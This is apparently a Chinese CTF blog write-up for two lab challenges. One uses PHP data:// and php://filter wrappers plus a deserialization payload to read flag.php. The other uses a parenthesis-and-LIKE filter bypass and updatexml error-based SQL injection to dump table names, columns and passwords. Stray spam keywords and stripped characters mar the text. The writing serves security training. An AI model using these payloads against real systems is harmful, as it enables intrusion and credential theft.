二维码制作网站,简单wordpress,开发手机网站多少钱,河南联通 网站备案1.[ZJCTF 2019]NiZhuanSiWei1
#xff08;1#xff09;进入环境后看到一篇php代码#xff0c;开始我简单的以为是一题常规的php伪协议#xff0c;多次试错后发现它并没有那么简单#xff0c;它包含了基础的文件包含#xff0c;伪协议还有反序列化
#xff08;2#x…1.[ZJCTF 2019]NiZhuanSiWei1
1进入环境后看到一篇php代码开始我简单的以为是一题常规的php伪协议多次试错后发现它并没有那么简单它包含了基础的文件包含伪协议还有反序列化
2分析代码发现它传入了三个不同的参数并且判断最后程序进入else时应该是可以出flag的
按照它代码所写
首先要输入的r要满足rwelcome to the zjctf 后面它又说file不能含有flag但是下面有注释的文件名可能是在提醒尝试去读取那个文件构造首先我们要进入到那环境里面 首先file_get_contents是得读取到文件里的内容而这里需要注意$text是一个变量C不能读取一个变量 注file_get_contents函数是 PHP 中一个功能丰富、易于使用的函数可以用于文件操作和发起 HTTP 请求。通过深入理解该函数的使用方法我们可以更高效地处理文件读取和远程资源获取任务。同时使用上下文选项和其他相关函数可以使 file_get_contents() 更加灵活和强大。有下面这些用法
1. 文件操作 1.1 读取本地文件 1.2 使用上下文选项 2. HTTP 请求 2.1 发起简单的 HTTP GET 请求 2.2 处理响应头信息 2.3 处理 HTTP 错误 具体请看file_get_contents() 函数详解与使用-CSDN博客
这里需要尝试使用data伪协议去给他赋值在一个文件里面。payload:/?textdata://text/plain,welcome to the zjctf然后才能成功进入
(3)到这里就需要尝试去读取useless.php文件内容了
还需要使用filter伪协议构造payload:filephp://filter/readconvert.base64-encode/resourceuseless.php
注data协议规则data://text/plain;编码格式,读取内容 注意一个是分号;命令拼接和一个逗号,用来读取文本内容
(4)也是成功获取到文件里的内容然后用工具解一下码可以得到一篇新的php代码 (5)里面写了file_get_contents直接去读flag.php构造反序列化poc
?php
class Flag
{ //flag.phppublic $file flag.php;
}
$a new Flag();
echo urlencode(serialize($a));
还需要注意不需要去访问useless.php文件的内容了我们构造的反序列化会把之前的覆盖掉最终我们要的是useless.php来访问我们的flag
(6)再次进行序列化
?php class Flag{ //flag.php public $fileflag.php; public function __tostring(){ if(isset($this-file)){ echo file_get_contents($this-file); echo br;return (U R SO CLOSE !///COME ON PLZ);} }
}
$flagnew Flag();
echo serialize($flag);
? 可以得到 O:4:Flag:1:{s:4:file;s:8:flag.php;}
然后构造pyload ?textdata://text/plain,welcome to the zjctffileuseless.phppasswordO:4:Flag:1:{s:4:file;s:8:flag.php;}
然后F12查看源码即可得到flag
2.[极客大挑战 2019]HardSQL1
1进入题目环境
(2)不知道它是啥注入类型就一个个试
usernameadmin password1这里把参数password作为注入点
1 1 万能密码 1 or 11# 到这里使用万能密码注入被链接应该是某些字符或者关键字被过滤
3然后用BP抓包用sql字典爆破可以看到很多字符、–、/**/和一些注入命令union、by、‘1’1等都被过滤掉了
4接着测试admin 1 or
还是出错说明这里应该就是空格有问题了
5然后用括号代替了空格再试试
admin
1(or)
到这证明判断没错但是这里又需要注意前面爆出它过滤了
看了其他博主的wp才知道在这里like没有被过滤使用like可以绕过号like
6然后重新构造万能密码1or((1)like(1))#
可以看到这里也是成功绕过空格登陆成功
到这里还需要注意一个有关报错注入的知识点
SQL报错注入常用函数
两个基于XPATXML)的报错注入函数 函数updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数 函数extractvalue() 是mysql对xml文档数据进行查询的xpath函数 注入原理 在使用语句时如果XPath_string不符合该种类格式就会出现格式错误并且会以系统报错的形式提示出错误 局限性查询字符串长度最大为32位要突破此限制可使用right(),left()substr()来截取字符串
其它 函数floor() mysql中用来取整的函数 函数exp() 此函数返回e(自然对数的底)指数X的幂值的函数
7这里我使用updatexml()函数来进行爆库
1or(updatexml(1,concat(0x7e,database(),0x7e),1))#
8得到库名geek 然后查表1or(updatexml(1,concat(0x7e(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))# 9到这里再得到数据表名 H4rDsq1
然后再来爆字段
1or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(H4rDsq1)),0x7e),1))#
10接着爆爆字段内容1or(updatexml(1,concat(0x7e,(select(group_concat(username,~,password))from(H4rDsq1)),0x7e),1))#
也是成功拿到一半flag
11后面一半开始怎么也弄不出来其实就是练得太少后面看了其他大佬wp才知道这里 要使用right()突破字符限制1or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#
成功拿到后半段flag要注意这里中间部分是重复的拼接时需要注意不要拼重复
最后拼接得到完整 flag{ca5de2ab-4550-4fc2-87f7-7fbb95f1e4d2}